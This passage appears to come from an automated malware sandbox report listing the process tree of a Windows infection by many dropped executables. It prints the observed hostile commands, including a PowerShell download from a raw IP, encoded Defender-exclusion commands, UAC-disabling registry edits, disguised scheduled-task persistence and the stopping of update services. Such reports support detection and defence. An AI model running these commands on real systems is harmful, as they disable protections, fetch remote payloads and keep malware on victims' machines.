    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1656
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZQBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAcQB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAZwBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAcAB5ACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5096
  - - C:\Windows\Client.exe
      "C:\Windows\Client.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3996
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\WIndows\svchost.exe"' & exit
        5⤵
        
        PID:4604
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\WIndows\svchost.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6AA2.tmp.bat""
        5⤵
        
        PID:4124
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4968
      - C:\WIndows\svchost.exe
        
        "C:\WIndows\svchost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
- - C:\Users\Admin\AppData\Local\Temp\Files\winbox.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\winbox.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1680
- - C:\Users\Admin\AppData\Local\Temp\Files\Client_protected.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Client_protected.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4760 -s 1376
      4⤵
      Program crash
      PID:2568
- - C:\Users\Admin\AppData\Local\Temp\Files\x.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\x.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4848
- - C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1144
- - C:\Users\Admin\AppData\Local\Temp\Files\cluton.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cluton.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:2532
  - - C:\Users\Admin\AppData\Local\Temp\Files\cluton.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\cluton.exe"
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      outlook_office_path
      outlook_win_path
      PID:2412
- - C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1872
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E953.tmp\E954.tmp\E955.bat C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"
      4⤵
      PID:3420
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Access Token Manipulation: Create Process with Token
        
        PID:3612
      - C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE" goto :target
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2160
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EC22.tmp\EC23.tmp\EC24.bat C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE goto :target"
        7⤵
        
        PID:1044
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:1060
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:716
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:1164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        8⤵
        
        PID:3200
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        9⤵
        
        PID:5004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
        8⤵
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:1868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7fff0f903cb8,0x7fff0f903cc8,0x7fff0f903cd8
        9⤵
        
        PID:4488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
        9⤵
        
        PID:3920
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
        9⤵
        
        PID:2476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2544 /prefetch:8
        9⤵
        
        PID:3132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
        9⤵
        
        PID:1596
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
        9⤵
        
        PID:2864
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:1
        9⤵
        
        PID:1616
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3848 /prefetch:8
        9⤵
        
        PID:1144
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5844 /prefetch:8
        9⤵
        
        PID:2732
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4872 /prefetch:1
        9⤵
        
        PID:1920
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4964 /prefetch:8
        9⤵
        
        PID:5404
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:1
        9⤵
        
        PID:6212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
        9⤵
        
        PID:4388
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1844,6967958768544053884,2485478293441520761,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5940 /prefetch:2
        9⤵
        
        PID:5648
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:2392
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:988
- - C:\Users\Admin\AppData\Local\Temp\Files\ew.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ew.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:440
- - C:\Users\Admin\AppData\Local\Temp\Files\s.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4552
- - C:\Users\Admin\AppData\Local\Temp\Files\CompleteStudio.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\CompleteStudio.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1556
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5580
- - C:\Users\Admin\AppData\Local\Temp\Files\Cbmefxrmnv.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Cbmefxrmnv.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\Files\Cbmefxrmnv.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Cbmefxrmnv.exe"
      4⤵
      Executes dropped EXE
      PID:6584
- - C:\Users\Admin\AppData\Local\Temp\Files\zts.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\zts.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5612
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5612 -s 448
      4⤵
      Program crash
      PID:6128
- - C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:6172
  - - C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      4⤵
      Executes dropped EXE
      PID:6356
  - - C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      4⤵
      Executes dropped EXE
      PID:6440
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6440 -s 92
        5⤵
        Program crash
        
        PID:6296
  - - C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      C:\Users\Admin\AppData\Local\Temp\Files\gvndxfghs.exe
      4⤵
      Executes dropped EXE
      PID:6200
- - C:\Users\Admin\AppData\Local\Temp\Files\ktyhpldea.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ktyhpldea.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:6364
- - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6468
- - C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6544
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6544 -s 244
      4⤵
      Program crash
      PID:6636
- - C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6756
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c net use
      4⤵
      System Location Discovery: System Language Discovery
      PID:6952
    - - C:\Windows\SysWOW64\net.exe
        
        net use
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7020
- - C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6896
- - C:\Users\Admin\AppData\Local\Temp\Files\Nework.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Nework.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3376
  - - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5244
- - C:\Users\Admin\AppData\Local\Temp\Files\test10-29.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\test10-29.exe"
    3⤵
    - Executes dropped EXE
    PID:7136
- - C:\Users\Admin\AppData\Local\Temp\Files\m.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6068
- - C:\Users\Admin\AppData\Local\Temp\Files\Papercut.Smtp.Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Papercut.Smtp.Setup.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5092
  - - C:\Windows\Temp\{F164CC5E-0CDC-475C-B700-3B73B8D04018}\.cr\Papercut.Smtp.Setup.exe
      "C:\Windows\Temp\{F164CC5E-0CDC-475C-B700-3B73B8D04018}\.cr\Papercut.Smtp.Setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\Files\Papercut.Smtp.Setup.exe" -burn.filehandle.attached=556 -burn.filehandle.self=564
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:5580
    - - C:\Windows\Temp\{52EC1D7F-59E6-4431-AE19-0FC6F1EDDBC0}\.be\Papercut.Smtp.Setup.exe
        
        "C:\Windows\Temp\{52EC1D7F-59E6-4431-AE19-0FC6F1EDDBC0}\.be\Papercut.Smtp.Setup.exe" -q -burn.elevated BurnPipe.{66EBAF4E-4B36-4B26-929B-F334A9C985C9} {B20DA5C3-95C6-4352-B644-51871DFE308E} 5580
        5⤵
        
        PID:6792
- - C:\Users\Admin\AppData\Local\Temp\Files\Guide2018.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Guide2018.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:4104
  - - C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      4⤵
      PID:2524
- - C:\Users\Admin\AppData\Local\Temp\Files\T3.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\T3.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Files\T3.exe' -Force
      4⤵
      PID:6676
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5760
- - C:\Users\Admin\AppData\Local\Temp\Files\random.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:5440
- - C:\Users\Admin\AppData\Local\Temp\Files\tstory.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tstory.exe"
    3⤵
    - Enumerates connected drives
    - Suspicious use of SetWindowsHookEx
    PID:4520
- - C:\Users\Admin\AppData\Local\Temp\Files\h5a71wdy.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\h5a71wdy.exe"
    3⤵
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5816
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1780
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:6008
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3224
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:6088
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:3684
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:6800
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:6780
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:7072
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:5516
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:6176
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:6380
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6120
- - C:\Users\Admin\AppData\Local\Temp\Files\test20.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\test20.exe"
    3⤵
    PID:7148
- - C:\Users\Admin\AppData\Local\Temp\Files\run2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\run2.exe"
    3⤵
    PID:6164
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6649.tmp\664A.tmp\664B.bat C:\Users\Admin\AppData\Local\Temp\Files\run2.exe"
      4⤵
      PID:6260
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6068
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6260 -s 312
        5⤵
        
        PID:6752
- - C:\Users\Admin\AppData\Local\Temp\Files\dsd.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dsd.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5376
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1060
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" "svchost.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6288
- - C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5524
  - - C:\Users\Admin\AppData\Local\Temp\8A9A.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\8A9A.tmp.exe"
      4⤵
      PID:3536
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 1344
        5⤵
        Program crash
        
        PID:6412
- - C:\Users\Admin\AppData\Local\Temp\Files\js.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\js.exe"
    3⤵
    PID:6472
- - C:\Users\Admin\AppData\Local\Temp\Files\msf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\msf.exe"
    3⤵
    PID:6372
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6372 -s 1228
      4⤵
      Program crash
      PID:6420
- - C:\Users\Admin\AppData\Local\Temp\Files\Indentif.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Indentif.exe"
    3⤵
    PID:6728
- - C:\Users\Admin\AppData\Local\Temp\Files\feb9sxwk.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\feb9sxwk.exe"
    3⤵
    PID:1556
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Files\curlapp64.exe"
      4⤵
      PID:5304
    - - C:\Users\Admin\AppData\Local\Temp\Files\curlapp64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\curlapp64.exe"
        5⤵
        
        PID:6128
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\Admin\AppData\Local\Temp\Files\feb9sxwk.exe"
      4⤵
      PID:4700
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3252
- - C:\Users\Admin\AppData\Local\Temp\Files\Final.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Final.exe"
    3⤵
    PID:5704
  - - C:\Users\Admin\AppData\Local\Temp\build.exe
      "C:\Users\Admin\AppData\Local\Temp\build.exe"
      4⤵
      PID:1080
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:540
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:5520
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7064
      - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        6⤵
        
        PID:1812
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
        5⤵
        
        PID:2556
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6200
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        6⤵
        
        PID:6452
      - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        6⤵
        
        PID:912
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe
